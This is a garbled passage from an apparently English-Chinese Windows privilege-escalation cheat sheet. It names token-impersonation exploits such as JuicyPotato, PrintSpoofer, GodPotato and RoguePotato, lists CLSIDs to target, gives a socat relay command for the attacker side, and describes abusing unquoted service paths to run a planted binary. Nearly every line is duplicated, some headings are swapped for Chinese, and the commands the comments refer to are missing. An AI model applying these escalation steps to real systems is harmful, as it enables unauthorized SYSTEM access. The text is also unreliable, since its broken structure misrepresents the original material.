Look for these specifically:

Look for these specifically:

SeImpersonatePrivilege - Impersonate a client after authentication

SeImpersonatePrivilege - Impersonate a client after authentication

SeAssignPrimaryTokenPrivilege - Replace a process-level token

SeAssignPrimaryTokenPrivilege - Replace a process-level token

JuicyPotato (Windows Server 2008-2016, Windows 7-10 before 1809)

JuicyPotato (Windows Server 2008-2016, Windows 7-10 before 1809)

JuicyPotato abuses COM DCOM authentication to negotiate a SYSTEM token

JuicyPotato abuses COM DCOM authentication to negotiate a SYSTEM token

Common CLSIDs vary by OS version

Common CLSIDs vary by OS version

Windows 10: {4991d34b-80a1-4291-83b6-3328366b9097}

Windows 10: {4991d34b-80a1-4291-83b6-3328366b9097}

Windows Server 2016: {8BC3F05E-D86B-11D0-A075-00C04FB68820}

Windows Server 2016: {8BC3F05E-D86B-11D0-A075-00C04FB68820}

If default CLSID fails, enumerate valid ones

If default CLSID fails, enumerate valid ones

PrintSpoofer (Windows 10, Server 2016/2019)

PrintSpoofer (Windows 10, Server 2016/2019)

Abuses the Print Spooler service to capture a SYSTEM token

Abuses the Print Spooler service to capture a SYSTEM token

Direct command execution

Direct command execution

GodPotato (Windows 8-11, Server 2012-2022)

GodPotato (Windows 8-11, Server 2012-2022)

Works across a wide range of Windows versions -- choose the right .NET binary

Works across a wide range of Windows versions -- choose the right .NET binary

SweetPotato and RoguePotato

SweetPotato 与 RoguePotato

SweetPotato -- combines multiple potato techniques

SweetPotato -- combines multiple potato techniques

RoguePotato (Win10 1809+, Server 2019) -- requires attacker relay on port 135

RoguePotato (Win10 1809+, Server 2019) -- requires attacker relay on port 135

Attacker: socat tcp-listen:135,reuseaddr,fork tcp:target_ip:9999

Attacker: socat tcp-listen:135,reuseaddr,fork tcp:target_ip:9999

Service Misconfigurations

服务错误配置

Unquoted Service Paths

未加引号的服务路径

Find unquoted service paths with spaces

Find unquoted service paths with spaces

Or use PowerUp

Or use PowerUp

Example: path is C:\Program Files\Some Service\binary.exe

Example: path is C:\Program Files\Some Service\binary.exe

Windows tries these in order:

Windows tries these in order:

C:\Program.exe

C:\Program.exe

C:\Program Files\Some.exe

C:\Program Files\Some.exe

C:\Program Files\Some Service\binary.exe

C:\Program Files\Some Service\binary.exe

If you can write to C:\Program Files\Some Service\

If you can write to C:\Program Files\Some Service\

Restart the service

Restart the service

Or wait for system reboot